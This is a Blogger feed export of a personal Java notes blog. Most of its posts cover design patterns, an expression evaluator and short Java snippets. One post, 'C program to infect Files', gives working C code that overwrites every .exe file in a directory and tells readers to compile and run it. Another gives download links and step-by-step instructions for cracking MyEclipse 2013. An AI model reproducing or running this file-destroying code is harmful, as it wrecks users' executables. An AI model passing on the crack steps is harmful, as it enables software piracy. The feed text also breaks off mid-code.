tag:blogger.com,1999:blog-28135530600728524252022-03-09T16:04:55.283+05:30My Java Notes ...Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.comBlogger140125tag:blogger.com,1999:blog-2813553060072852425.post-78393996712128366822013-09-26T21:05:00.001+05:302013-09-26T21:05:32.016+05:30How to hide your important files from people without making Hidden folders<div dir="ltr" style="text-align: left;" trbidi="on"><h5 class="uiStreamMessage userContentWrapper" data-ft="{"type":1,"tn":"K"}"><span class="messageBody"><span class="userContent"><br /> <br /> 1. Go to Desktop and create a new folder<br /> <br /> 2. Name the folder Internet Explorer<span class="text_exposed_show"><br /> <br /> 3. Change the folder icon to Internet Explorer<br /> <br /> 4. Keep it in a corner of the desktop<br /> </span></span></span></h5></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-210855767538293202013-09-26T21:01:00.000+05:302013-09-26T21:01:09.828+05:30C program to infect Files<div dir="ltr" style="text-align: left;" trbidi="on"><h5 class="uiStreamMessage userContentWrapper" data-ft="{"type":1,"tn":"K"}"><span class="messageBody"><span class="userContent"><br /> <a class="_58cn" data-pub="{"type":"hashtag","id":485659471498743,"source":null}" href="https://www.facebook.com/hashtag/include">#include</a><iostream.h><span class="text_exposed_show"><br /> #include<dir.h><br /> #include<dos.h><br /> #include<fstream.h><br /> <br /> void main()<br /> {<br /> struct ffblk f;<br /> int done;<br /> ofstream file;<br /> <br /> done = findfirst("*.exe", &f , FA_HIDDEN | FA_RDONLY); // write extension of files here<br /> while(!done)<br /> {<br /> <br /> cout<<f.ff_name<<endl;<br /><span> file.open(f.ff_name,ios::binar</span><wbr></wbr><span class="word_break"></span>y);<br /> file<<"hi i am file infector"; //write message to be wriitten in file<br /> file.close();<br /> <br /> done = findnext(&f);<br /> }<br /> }</span></span></span></h5><h5 class="uiStreamMessage userContentWrapper" data-ft="{"type":1,"tn":"K"}"><span class="messageBody"><span class="userContent"><span class="text_exposed_show">Compile and Run </span></span></span></h5></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com1tag:blogger.com,1999:blog-2813553060072852425.post-45843218869599912932013-09-14T00:27:00.005+05:302014-08-24T13:19:50.833+05:30MyEclipse 2013 Professional/Standered/Blue/Spring Crack <div dir="ltr" style="text-align: left;" trbidi="on"><br /><br />Download MyEclipse Professional and Crack in the below link.<br /><br /><b><u>MyEclipse Professional :</u></b><br />http://downloads4.myeclipseide.com/downloads/products/eworkbench/2013/installers/myeclipse-pro-2013-offline-installer-windows.exe<br /><br /><b><u>Crack :</u></b><br />http://files.cnblogs.com/timeng/Myeclipse2013_crack.zip<br /> (or)<br />http://www.4shared.com/zip/MDlZiPHx/Myeclipse2013_crack.html <br /><br />After downloading Crack , Unzip and click on run.bat<br /><br />Close MyEclipse before cracking<br /><br />1. Enter UserCode {any username}<br />2. Select My Eclipse Version<br />3. Click on SystemId<br />4. Click on Menu Tools > RebuildKey<br />5. Click on Activate Button<br />6. Click on Menu Tools > ReplaceJar<br />File Browser will open select the MyEclipse Installation Directory and then plugins inside it.and then Click ok<br />7. Click on Menu Tools > SaveProperties<br />8. Exit the Crack<br /><br /><br /></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com56tag:blogger.com,1999:blog-2813553060072852425.post-3795953109895434522013-04-28T01:52:00.001+05:302013-04-28T01:52:51.316+05:30BODMAS example in java<div dir="ltr" style="text-align: left;" trbidi="on">package com.anil;<br /><br />import java.util.ArrayList;<br />import java.util.Collections;<br />import java.util.List;<br /><br />public class Test {<br /><br /> public static void main(String[] args) {<br /> String orgString = "(3+4)*(7/2)";<br /> System.out.println(findValueInBraces(orgString));<br /><br /> }<br /><br /> public static String findValueInBraces(String finalStr) {<br /><br /> while (finalStr.contains("(") && finalStr.contains(")")) {<br /> int fIndex = finalStr.indexOf("(");<br /> int nIndex = finalStr.indexOf(")");<br /> String subString = finalStr.substring(fIndex + 1, nIndex);<br /> finalStr = finalStr.substring(0, fIndex)<br /> + calculate(subString)<br /> + finalStr.substring(nIndex + 1,<br /> finalStr.length());<br /> }<br /> return calculate(finalStr);<br /><br /> }<br /><br /> public static String calculate(String finalString) {<br /><br /> while (finalString.contains("(") && finalString.contains(")")) {<br /> findValueInBraces(finalString);<br /> }<br /> while (!isNum(finalString)) {<br /> List<Integer> positions = getOperandPosition(finalString);<br /> int pos = positions.get(0);<br /> if (positions.size() >= 2 && positions.get(1) != null) {<br /> int nxtPos = positions.get(1);<br /> finalString = getValue(finalString.substring(0, nxtPos), pos)<br /> + finalString.substring(nxtPos, finalString.length());<br /> } else {<br /> finalString = getValue(<br /> finalString.substring(0, finalString.length()), pos);<br /> }<br /> }<br /> return finalString;<br /><br /> }<br /><br /> public static boolean isNum(String str) {<br /> if (str.contains("+") || str.contains("-") || str.contains("*")<br /> || str.contains("/")) {<br /> return false;<br /> }<br /> return true;<br /> }<br /><br /> public static List<Integer> getOperandPosition(String str) {<br /><br /> List<Integer> integers = new ArrayList<Integer>();<br /><br /> if (str.contains("+")) {<br /> integers.add(str.indexOf("+"));<br /> }<br /><br /> if (str.contains("-")) {<br /> integers.add(str.indexOf("-"));<br /> }<br /><br /> if (str.contains("*")) {<br /> integers.add(str.indexOf("*"));<br /> }<br /><br /> if (str.contains("/")) {<br /> integers.add(str.indexOf("/"));<br /> }<br /><br /> Collections.sort(integers);<br /> return integers;<br /> }<br /><br /> public static String getValue(String str, int pos) {<br /> double finalVal = 0;<br /> double a = Double.parseDouble(str.substring(0, pos));<br /> double b = Double.parseDouble(str.substring(pos + 1, str.length()));<br /> char c = str.charAt(pos);<br /><br /> if (c == '*') {<br /> finalVal = a * b;<br /> } else if (c == '/') {<br /> finalVal = a / b;<br /> } else if (c == '+') {<br /> finalVal = a + b;<br /> } else if (c == '-') {<br /> finalVal = a - b;<br /> }<br /> return String.valueOf(finalVal);<br /> }<br />}</div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com115tag:blogger.com,1999:blog-2813553060072852425.post-42536570840857342032013-03-11T15:47:00.001+05:302013-03-11T15:47:09.220+05:30How to Create Client/Server Keystores using Java Keytool<div dir="ltr" style="text-align: left;" trbidi="on">http://ruchirawageesha.blogspot.com/2010/07/how-to-create-clientserver-keystores.html</div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-11742706696672978412013-03-11T15:46:00.001+05:302013-03-11T15:46:50.991+05:30JSSE client servlet<div dir="ltr" style="text-align: left;" trbidi="on">http://publib.boulder.ibm.com/infocenter/iseries/v5r3/index.jsp?topic=%2Frzatz%2F51%2Fsec%2Fsecjssecltex.htm</div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-51420733766958264732013-02-21T23:52:00.003+05:302013-02-21T23:52:56.763+05:3015 GREAT THOUGHTS BY CHANAKYA<div dir="ltr" style="text-align: left;" trbidi="on">1) "Learn from the mistakes of others... you can't live long enough to make them all yourselves!!"<br /> <br /> 2)"A person should not be to<span class="text_exposed_show">o honest. Straight trees are cut first and Honest people are screwed first."<br /> ...<br /> 3)"Even if a snake is not poisonous, it should pretend to be venomous."<br /> <br /> 4)"There is some self-interest behind every friendship. There is no friendship without self-interests. This is a bitter truth."<br /> <br /> <br /> 5)" Before you start some work, always ask yourself three questions - Why am I doing it, What the results might be and Will I be successful. Only when you think deeply and find satisfactory answers to these questions, go ahead."<br /> <br /> <br /> 6)"As soon as the fear approaches near, attack and destroy it."<br /> <br /> <br /> 7)"The world's biggest power is the youth and beauty of a woman."<br /> <br /> <br /> 8)"Once you start a working on something, don't be afraid of failure and don't abandon it. People who work sincerely are the happiest."<br /> <br /> <br /> 9)"The fragrance of flowers spreads only in the direction of the wind. But the goodness of a person spreads in all direction."<br /> <br /> <br /> 10)"God is not present in idols. Your feelings are your god. The soul is your temple."<br /> <br /> <br /> 11) "A man is great by deeds, not by birth."<br /> <br /> <br /> 12) "Never make friends with people who are above or below you in status. Such friendships will never give you any happiness."<br /> <br /> <br /> 13) "Treat your kid like a darling for the first five years. For the next five years, scold them. By the time they turn sixteen, treat them like a friend. Your grown up children are your best friends."<br /> <br /> <br /> 14) "Books are as useful to a stupid person as a mirror is useful to a blind person."<br /> <br /> <br /> 15) "Education is the Best Friend. An Educated Person is Respected Everywhere. Education beats the Beauty and the Youth."</span></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-29800671312924799312012-07-27T23:14:00.003+05:302012-07-27T23:14:53.362+05:30Websphere Process Server training docs<div dir="ltr" style="text-align: left;" trbidi="on"><div class="MsoNormal"><a href="http://publib.boulder.ibm.com/infocenter/ieduasst/v1r1m0/index.jsp?topic=/com.ibm.iea.wpi_v6/wpswid/6.2/SCA/WBPMv62_SCA_SCAToolsAndExamples/player.html" target="_blank">http://publib.boulder.ibm.com/<wbr></wbr>infocenter/ieduasst/v1r1m0/<wbr></wbr>index.jsp?topic=/com.ibm.iea.<wbr></wbr>wpi_v6/wpswid/6.2/SCA/WBPMv62_<wbr></wbr>SCA_SCAToolsAndExamples/<wbr></wbr>player.html</a> </div><div class="MsoNormal"><br /></div><div class="MsoNormal">Human tasks</div><div class="MsoNormal">http://<a href="http://publib.boulder.ibm.com/infocenter/ieduasst/v1r1m0/index.jsp?topic=/com.ibm.iea.wpi_v6/wpswid/6.1/WID/WPIv61_WIDOverview/player.html" target="_blank">publib.boulder.ibm.<wbr></wbr>com/infocenter/ieduasst/<wbr></wbr>v1r1m0/index.jsp?topic=/com.<wbr></wbr>ibm.iea.wpi_v6/wpswid/6.1/WID/<wbr></wbr>WPIv61_WIDOverview/player.html</a></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><a href="http://publib.boulder.ibm.com/infocenter/ieduasst/v1r1m0/topic/com.ibm.iea.wpi_v6/wpswid/6.0/Selectors/WPSWIDv6_Selectors_Overview/playershell.swf" target="_blank">http://publib.boulder.ibm.com/<wbr></wbr>infocenter/ieduasst/v1r1m0/<wbr></wbr>topic/com.ibm.iea.wpi_v6/<wbr></wbr>wpswid/6.0/Selectors/WPSWIDv6_<wbr></wbr>Selectors_Overview/<wbr></wbr>playershell.swf</a> </div><div class="MsoNormal"><br /></div><div class="MsoNormal"> Selectors</div><div class="MsoNormal"><a href="http://publib.boulder.ibm.com/infocenter/ieduasst/v1r1m0/topic/com.ibm.iea.wpi_v6/wpswid/6.0/BusinessRules/WPSWIDv6_BusinessRules_Overview/playershell.swf" target="_blank">http://publib.boulder.ibm.com/<wbr></wbr>infocenter/ieduasst/v1r1m0/<wbr></wbr>topic/com.ibm.iea.wpi_v6/<wbr></wbr>wpswid/6.0/BusinessRules/<wbr></wbr>WPSWIDv6_BusinessRules_<wbr></wbr>Overview/playershell.swf</a> <wbr></wbr> </div><div class="MsoNormal"><br /></div><div class="MsoNormal">Business rules</div><div class="MsoNormal"><a href="http://publib.boulder.ibm.com/infocenter/ieduasst/v1r1m0/index.jsp?topic=/com.ibm.iea.wpi_v6/wpswid/6.0/BusinessStateMachine/WPSWIDv6_BusinessStateMachine/player.html" target="_blank">http://publib.boulder.ibm.com/<wbr></wbr>infocenter/ieduasst/v1r1m0/<wbr></wbr>index.jsp?topic=/com.ibm.iea.<wbr></wbr>wpi_v6/wpswid/6.0/<wbr></wbr>BusinessStateMachine/WPSWIDv6_<wbr></wbr>BusinessStateMachine/player.<wbr></wbr>html</a> </div><div class="MsoNormal"><br /></div><div class="MsoNormal"> BSM</div><div class="MsoNormal"><a href="http://publib.boulder.ibm.com/infocenter/ieduasst/v1r1m0/index.jsp?topic=/com.ibm.iea.wpi_v6/wpswid/6.2/MediationFlows/WBPMv62_MediationModules/player.html" target="_blank">http://publib.boulder.ibm.com/<wbr></wbr>infocenter/ieduasst/v1r1m0/<wbr></wbr>index.jsp?topic=/com.ibm.iea.<wbr></wbr>wpi_v6/wpswid/6.2/<wbr></wbr>MediationFlows/WBPMv62_<wbr></wbr>MediationModules/player.html</a></div><a href="http://publib.boulder.ibm.com/infocenter/ieduasst/v1r1m0/topic/com.ibm.iea.wpi_v6/wpswid/6.0.2/MediationLabs/WPIv602_ESB_UnModeledFaultsLab.pdf" target="_blank">http://publib.boulder.ibm.com/<wbr></wbr>infocenter/ieduasst/v1r1m0/<wbr></wbr>topic/com.ibm.iea.wpi_v6/<wbr></wbr>wpswid/6.0.2/MediationLabs/<wbr></wbr>WPIv602_ESB_<wbr></wbr>UnModeledFaultsLab.pdf</a></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-32067807835821197222012-07-27T19:25:00.002+05:302012-07-27T19:32:28.848+05:30requierment for enhanced for loop in java (J2SE5.0)<div dir="ltr" style="text-align: left;" trbidi="on"><br /><br />Enhanced for loops allow convenient iteration over collections, without the need for an explicitly defined iterator. This reduces the need for boilerplate iteration code and the corresponding opportunities for errors.<br />as per JSR 121 </div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com1tag:blogger.com,1999:blog-2813553060072852425.post-28225219596592276922012-07-25T23:38:00.002+05:302012-07-25T23:38:33.761+05:30Running Java without Main method<div dir="ltr" style="text-align: left;" trbidi="on"><div class="MsoNormal" style="text-autospace: none;"><span style="font-family: "Courier New"; font-size: 10.0pt;"><span style="background: none repeat scroll 0% 0% rgb(255, 255, 255);">StaticBlockClass</span>.java</span></div><div class="MsoNormal" style="text-autospace: none;"><span style="font-family: "Courier New"; font-size: 10.0pt;">~~~~~~~~~~~~~~~~~~~~~ </span><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;"></span></b></div><div class="MsoNormal" style="text-autospace: none;"><br /></div><div class="MsoNormal" style="text-autospace: none;"><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;">package</span></b><span style="font-family: "Courier New"; font-size: 10.0pt;"> com.anil.builder.design.<wbr></wbr>pattern;</span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><div class="MsoNormal" style="text-autospace: none;"><br /></div><div class="MsoNormal" style="text-autospace: none;"><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;">public</span></b><span style="font-family: "Courier New"; font-size: 10.0pt;"> </span><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;">class</span></b><span style="font-family: "Courier New"; font-size: 10.0pt;"> <span style="background: none repeat scroll 0% 0% rgb(255, 255, 255);">StaticBlockClass</span> {</span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><div class="MsoNormal" style="text-autospace: none;"><br /></div><div class="MsoNormal" style="text-autospace: none;"><span style="font-family: "Courier New"; font-size: 10.0pt;"> </span><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;">static</span></b><span style="font-family: "Courier New"; font-size: 10.0pt;">{</span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><div class="MsoNormal" style="text-autospace: none;"><span style="font-family: "Courier New"; font-size: 10.0pt;"> System.</span><i><span style="color: #0000c0; font-family: "Courier New"; font-size: 10.0pt;">out</span></i><span style="font-family: "Courier New"; font-size: 10.0pt;">.println(</span><span style="color: #2a00ff; font-family: "Courier New"; font-size: 10.0pt;">"i dont have main method"</span><span style="font-family: "Courier New"; font-size: 10.0pt;">);</span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><div class="MsoNormal" style="text-autospace: none;"><span style="font-family: "Courier New"; font-size: 10.0pt;"> }</span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><div class="MsoNormal" style="text-autospace: none;"><span style="font-family: "Courier New"; font-size: 10.0pt;"> </span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><div class="MsoNormal" style="text-autospace: none;"><span style="font-family: "Courier New"; font-size: 10.0pt;">}</span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><span style="font-family: "Courier New"; font-size: 10.0pt;">TestStaticClient.java</span></div><div class="MsoNormal"><span style="font-family: "Courier New"; font-size: 10.0pt;">~~~~~~~~~~~~~~~~~~~~~ </span></div><div class="MsoNormal"><br /></div><div class="MsoNormal" style="text-autospace: none;"><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;">package</span></b><span style="font-family: "Courier New"; font-size: 10.0pt;"> com.anil.builder.design.<wbr></wbr>pattern;</span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><div class="MsoNormal" style="text-autospace: none;"><br /></div><div class="MsoNormal" style="text-autospace: none;"><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;">public</span></b><span style="font-family: "Courier New"; font-size: 10.0pt;"> </span><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;">class</span></b><span style="font-family: "Courier New"; font-size: 10.0pt;"> TestStaticClient {</span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><div class="MsoNormal" style="text-autospace: none;"><br /></div><div class="MsoNormal" style="text-autospace: none;"><span style="font-family: "Courier New"; font-size: 10.0pt;"> </span><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;">public</span></b><span style="font-family: "Courier New"; font-size: 10.0pt;"> </span><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;">static</span></b><span style="font-family: "Courier New"; font-size: 10.0pt;"> </span><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;">void</span></b><span style="font-family: "Courier New"; font-size: 10.0pt;"> main(String[] args) </span><b><span style="color: #7f0055; font-family: "Courier New"; font-size: 10.0pt;">throws</span></b><span style="font-family: "Courier New"; font-size: 10.0pt;"> ClassNotFoundException, InstantiationException, IllegalAccessException {</span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><div class="MsoNormal" style="text-autospace: none;"><span style="font-family: "Courier New"; font-size: 10.0pt;"> Class.<i>forName</i>(</span><span style="color: #2a00ff; font-family: "Courier New"; font-size: 10.0pt;">"com.anil.<wbr></wbr>builder.design.pattern.<wbr></wbr>StaticBlockClass"</span><span style="font-family: "Courier New"; font-size: 10.0pt;">);</span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><div class="MsoNormal" style="text-autospace: none;"><span style="font-family: "Courier New"; font-size: 10.0pt;"> }</span><span style="font-family: "Courier New"; font-size: 10.0pt;"></span></div><span style="font-family: "Courier New"; font-size: 10.0pt;">}</span></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-17392745253192105102012-07-24T23:46:00.000+05:302012-07-24T23:57:41.855+05:30Builder DesignPattern<div dir="ltr" style="text-align: left;" trbidi="on">Builder Design pattern is used when there is a requirement for creating complex objects.<br />if it is a simple object you can make use of factory design pattern.<br /><br /><br /><br />Car.java<br />~~~~~~~~~<br />package com.anil.builder.design.<br /><div id=":1ox"><wbr></wbr>pattern;<br /><br />public class Car {<br /><br /> private String engine;<br /> private String tyre;<br /> private String paint;<br /><br /> public String getEngine() {<br /> return engine;<br /> }<br /><br /> public void setEngine(String engine) {<br /> this.engine = engine;<br /> }<br /><br /> public String getTyre() {<br /> return tyre;<br /> }<br /><br /> public void setTyre(String tyre) {<br /> this.tyre = tyre;<br /> }<br /><br /> public String getPaint() {<br /> return paint;<br /> }<br /><br /> public void setPaint(String paint) {<br /> this.paint = paint;<br /> }<br /><br />}<br />------------------------------<wbr></wbr>----------------------<br /><br />CarBuilder.java<br />~~~~~~~~~~~~~~~<br /><br />package com.anil.builder.design.<wbr></wbr>pattern;<br /><br />public interface CarBuilder {<br /> public String makeEngine();<br /> public String makeTyre();<br /> public String makePaint();<br /> public void makeCar();<br /> public Car getCar();<br />}<br />------------------------------<wbr></wbr>----------------------------<br /><br />USCarBuilder.java<br />~~~~~~~~~~~~~~~~~~<br /><br />package com.anil.builder.design.<wbr></wbr>pattern;<br /><br />public class USCarBuilder implements CarBuilder {<br /><br /> private Car car;<br /><br /> @Override<br /> public String makeEngine() {<br /> // TODO Auto-generated method stub<br /> return "US Engine added ";<br /> }<br /><br /> @Override<br /> public String makeTyre() {<br /> return "APPOLO tyres added";<br /> }<br /><br /> @Override<br /> public String makePaint() {<br /> return "Red colour added";<br /> }<br /><br /> @Override<br /> public void makeCar() {<br /> car=new Car();<br /> car.setEngine(makeEngine());<br /> car.setTyre(makeTyre());<br /> car.setPaint(makePaint());<br /> }<br /><br /> @Override<br /> public Car getCar() {<br /> // TODO Auto-generated method stub<br /> return car;<br /> }<br /><br />}<br />------------------------------<wbr></wbr>--------------------------<br /><br />GermanCarBuilder.java<br />~~~~~~~~~~~~~~~~~~~~~~<br /><br />package com.anil.builder.design.<wbr></wbr>pattern;<br /><br />public class GermanCarBuilder implements CarBuilder {<br /><br />private Car car;<br /><br /> @Override<br /> public String makeEngine() {<br /> // TODO Auto-generated method stub<br /> return "German Engine";<br /> }<br /><br /> @Override<br /> public String makeTyre() {<br /> return "German tyres";<br /> }<br /><br /> @Override<br /> public String makePaint() {<br /> return "Blue";<br /> }<br /><br /> @Override<br /> public void makeCar() {<br /> car=new Car();<br /> car.setEngine(makeEngine());<br /> car.setTyre(makeTyre());<br /> car.setPaint(makePaint());<br /> }<br /><br /> @Override<br /> public Car getCar() {<br /> return car;<br /> }<br /><br />}<br />------------------------------<wbr></wbr>----------------------<br /><br />Director.java<br />~~~~~~~~~~~~~<br />package com.anil.builder.design.<wbr></wbr>pattern;<br /><br />public class Director {<br /><br /> private CarBuilder carBuilder;<br /><br /> public Director(CarBuilder carBuilder) {<br /> super();<br /> this.carBuilder = carBuilder;<br /> }<br /><br /> public CarBuilder getCarBuilder() {<br /> return carBuilder;<br /> }<br /><br /> public void setCarBuilder(CarBuilder carBuilder) {<br /> this.carBuilder = carBuilder;<br /> }<br /><br /> public void build() {<br /> carBuilder.makeCar();<br /> }<br />}<br />------------------------------<wbr></wbr>-----------------------------<br />Test.java<br />~~~~~~~~~<br />package com.anil.builder.design.<wbr></wbr>pattern;<br /><br />public class Test {<br /><br /> public static void main(String[] args) {<br /> CarBuilder builder=new USCarBuilder();<br /> Director director=new Director(builder);<br /> director.build();<br /> Car car=builder.getCar();<br /> System.out.println(" Car Engine : "+car.getEngine());<br /> }<br /><br /> <b>Pattern Definition</b><br /> Moves the Construction logic of the Object from the Object Class to Builder Class<br /><br /><b>Improves</b><br /><ul style="text-align: left;"><li>Object Construction</li><li>Making new Changes</li><li>Modular Design </li></ul></div></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-17750419532078921012012-07-20T00:29:00.001+05:302012-07-23T23:54:12.398+05:30Abstract Factory Design Pattern in Java<div dir="ltr" style="text-align: left;" trbidi="on"><b>Definition</b> : Provides an interface for creating families of related or dependent objects without specifying their concrete classes.<b></b><br /><b><br /></b><br /><b><br /></b><br />Button.java<br />~~~~~~~~~<br />package com.anil.product;<br /><br />public abstract class Button {<br /> public abstract void add(String os);<br />}<br /><br />WinButton.java<br />~~~~~~~~~~~~<br />package com.anil.product;<br /><br />public class WinButton extends Button {<br /><br /> @Override<br /> public void add(String os) {<br /> System.out.println(" Button Added name "+os+" for Windows");<br /> }<br /><br />}<br /><br />LinuxButton.java<br />~~~~~~~~~~~~<br />package com.anil.product;<br /><br />public class LinuxButton extends Button {<br /> @Override<br /> public void add(String os) {<br /> System.out.println(" Button Added name "+os+" for Linux");<br /><br /> }<br />}<br /><br />ComboBox.java<br />~~~~~~~~~~~~<br />package com.anil.product;<br /><br />public abstract class ComboBox {<br /> public abstract void add(String os);<br />}<br /><br />WinComboBox.java<br />~~~~~~~~~~~~~~~~<br />package com.anil.product;<br /><br />public class WinComboBox extends ComboBox {<br /><br /> @Override<br /> public void add(String os) {<br /> System.out.println(" Combo Box Added with name "+os+" for Windows" );<br /> }<br /><br />}<br /><br />LinuxComboBox.java<br />~~~~~~~~~~~~~~~~<br />package com.anil.product;<br /><br />public class LinuxComboBox extends ComboBox {<br /> @Override<br /> public void add(String os) {<br /> System.out.println(" Combo Box Added name "+os+" for Linux");<br /> }<br /><br />}<br /><br /><br />OSComponents.java<br />~~~~~~~~~~~~~~~<br />package com.anil.product;<br /><br />public abstract class OSComponents {<br /> public abstract ComboBox createCombo();<br /> public abstract Button createButton();<br />}<br /><br />WindowsComponents.java<br />~~~~~~~~~~~~~~~~~~~~~<br />package com.anil.product;<br /><br />public class WindowsComponents extends OSComponents {<br /><br /> @Override<br /> public ComboBox createCombo() {<br /> return new WinComboBox();<br /> }<br /><br /> @Override<br /> public Button createButton() {<br /> return new WinButton();<br /> }<br /><br />}<br /><br />LinuxComponents.java<br />~~~~~~~~~~~~~~~~~~~~<br />package com.anil.product;<br /><br />public class LinuxComponents extends OSComponents {<br /><br /> @Override<br /> public ComboBox createCombo() {<br /> return new LinuxComboBox();<br /> }<br /><br /> @Override<br /> public Button createButton() {<br /> return new LinuxButton();<br /> }<br /><br />}<br /><br /><br />AbstractOSComponentsFactory.<wbr></wbr>java<br /><div id=":1ps">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<wbr></wbr>~~~<br /><br />package com.anil.product;<br /><br />public abstract class AbstractOSComponentsFactory {<br /> public abstract ComboBoxInf createCombo();<br /><br /> public abstract ButtonInf createButton();<br /><br /> public static AbstractOSComponentsFactory getOSFactory(String s) {<br /> if (s == "win") {<br /> return new WindowsComponentsFactory();<br /> } else {<br /> return new LinuxComponentsFactory();<br /> }<br /> }<br />}<br /><br />AbstractFactoryClient.java<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />package com.anil.product;<br /><br />public class AbstractFactoryClient {<br /><br /> public static void main(String os[]) {<br /><br /> AbstractOSComponentsFactory factory =AbstractOSComponentsFactory.<wbr></wbr>getOSFactory("win");<br /> factory.createButton().add("<wbr></wbr>windows1");<br /> factory.createCombo().add("<wbr></wbr>windows2");<br /><br /> }<br /><br />}</div><b></b><br /><b></b><br /><b></b><br /><b></b><br /><b></b><br /><b></b><br /><b><br />Benefits</b><br />* Isolates concrete classes<br />* Allows to change product family easily<br />* Promotes consistency among products<b><br />Usage</b><br />* When the system needs to be independent of how its products are created composed and represented.<br />* When the system needs to be configured with one of multiple families of products.<br />* When a family of products need to be used together and this constraint needs to be enforced.<br />* When you need to provide a library of products, expose their interfaces not the implementation.</div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-46717156314980182962012-07-17T01:52:00.001+05:302012-07-17T02:07:50.519+05:30Session Facade<div dir="ltr" style="text-align: left;" trbidi="on">Problem<br /><br />In a multitiered Java 2 Platform, Enterprise Edition (J2EE) application environment, the following problems arise.<br /> <br /><br />if Client is exposed to the Business Objects of the application(DAO,Session Beans or Entity Beans) there will be a tight coupling between the client and the Business Objects.<br /><br />if the application grows eventually the number of business objects will grow so that Client logic will become more and more complex.<br /><br />if the Client is Accessing the Enterprise beans directly so There will be a heavy usage of the n/w.<br /><br /><br />if Multiple Clients are using the Business objects there will not be uniformity in the way client uses them.<br /><br /><br />To resolve the above issues we can make use of Session Facade Design pattern<br /><br /><b>Structure</b> :<br /><br /><b>Session Facade class diagram</b><br /><br /><img align="bottom" alt="Figure 8.15" border="0" height="252" name="Graphic15" src="http://www.oracle.com/ocom/groups/public/@otn/documents/digitalasset/147290.jpg" width="458" /><br /><br /><h3 style="font-family: inherit;"> <span style="font-size: small;">Participants and Collaborations</span></h3><div style="font-family: inherit;"><span style="font-size: small;">in the below Figure contains the sequence diagram that shows the interactions of a Session Facade with two entity beans, one session bean, and a DAO, all acting as participants in fulfilling the request from the client.</span></div><div style="font-family: inherit;"><br /></div><div style="font-family: inherit;"><b>Session Facade sequence diagram :</b></div><br /><img align="bottom" alt="Figure 8.16" border="0" name="Graphic16" src="http://www.oracle.com/ocom/groups/public/@otn/documents/digitalasset/147344.jpg" /> <br /><br />you can define a Session Facade as<br /><br />1. <b>Stateless Session bean : </b>if Business process include single method call in your business process<br />2. <b>Statefull Session bean : </b> if Business process include multiple method calls in your business process<br /><b><br /></b><br /><b>Uses of Session Facade</b>:<br /><ol style="text-align: left;"><li>Introduces Business-Tier Controller Layer</li><li>Exposes Uniform Interface </li><li>Reduces Coupling, Increases Manageability </li><li>Improves Performance, Reduces Fine-Grained Methods </li><li>Provides Coarse-Grained Access </li><li>Centralizes Security Management </li><li>Centralizes Transaction Control </li><li>Exposes Fewer Remote Interfaces to Clients </li></ol><b>sample code</b> :<br /><br /><br /><pre><span style="font-size: small;">ProjectResourceManagerSession.java</span></pre><br /><br /><pre><span style="font-size: small;">package corepatterns.apps.psa.ejb;<br /><br />import java.util.*;<br />import java.rmi.RemoteException;<br />import javax.ejb.*;<br />import javax.naming.*;<br />import corepatterns.apps.psa.core.*;<br />import corepatterns.util.ServiceLocator;<br />import corepatterns.util.ServiceLocatorException;<br /><br />// Note: all try/catch details not shown for brevity.<br /><br />public class ProjectResourceManagerSession<br /> implements SessionBean {<br /><br /> private SessionContext context;<br /><br /> // Remote references for the<br /> // entity Beans encapsulated by this facade<br /> private Resource resourceEntity = null;<br /> private Project projectEntity = null;<br /> ...<br /><br /> // default create<br /> public void ejbCreate() <br /> throws CreateException {<br /> }<br /><br /> // create method to create this facade and to<br /> // establish connections to the required entity<br /> // beans<br /> // using primary key values<br /> public void ejbCreate(<br /> String resourceId, String projectId, ...)<br /> throws CreateException, ResourceException {<br /><br /> try {<br /> // locate and connect to entity beans<br /> connectToEntities(resourceId, projectId, ...);<br /> } catch(...) {<br /> // Handle exceptions<br /> }<br /> }<br 